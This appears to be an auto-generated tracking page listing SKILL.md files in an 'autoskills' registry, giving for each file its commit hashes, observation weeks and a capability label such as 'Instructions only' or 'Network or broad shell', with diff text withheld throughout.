Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/fastmcp/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/flask-api-development/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/fluentui-blazor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/flutter-animations/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/flutter-expert/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/flutter-testing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/frontend-design/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/generating-sorbet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/generating-sorbet-inline/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/golang-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/golang-testing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/gsap-core/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/gsap-frameworks/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/gsap-performance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/gsap-plugins/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/gsap-react/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/gsap-scrolltrigger/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/gsap-timeline/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/gsap-utils/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/hono/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/implement-background-job/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/instantdb/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/java-coding-standards/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/java-docs/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/java-springboot/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/kotlin-tooling-agp9-migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/kotlin-tooling-cocoapods-spm-migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/laravel-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/laravel-specialist/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/machine-learning/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/migrate-to-vinext/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/neon-postgres/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/nestjs-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/next-cache-components-adoption/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/nodejs-backend-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/nodejs-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/nodejs-express-server/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/nuxt/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/organization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/oxlint/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/pandas-data-analysis/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/pandas-pro/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/php-pro/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/plan-tests/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/playwright-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/pr_review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/prisma-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/prisma-client-api/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/prisma-database-setup/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/prisma-postgres/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/pydantic/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/python-background-jobs/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/python-executor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/python-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/python-testing-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/rails-guides/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/rails-upgrade/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/react-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/react-hook-form/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/react-three-fiber/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/redis-core/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/refactor-module/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/reference-compiler-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/reference-core/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/reference-signal-forms/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/remotion-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/review-migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/ruby/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/ruby-on-rails-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/rust-best-practices/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/sandbox-stable/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/scikit-learn/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/security-check/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/senior-data-scientist/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/seo/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/shadcn/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/sqlalchemy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Network or broad shell
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 2dbab03b4198
No earlier version was observed for comparison.
packages/autoskills/skills-registry/sqlalchemy-alembic-expert-best-practices-code-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
2dbab03b4198 → 077b6ea6d747
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
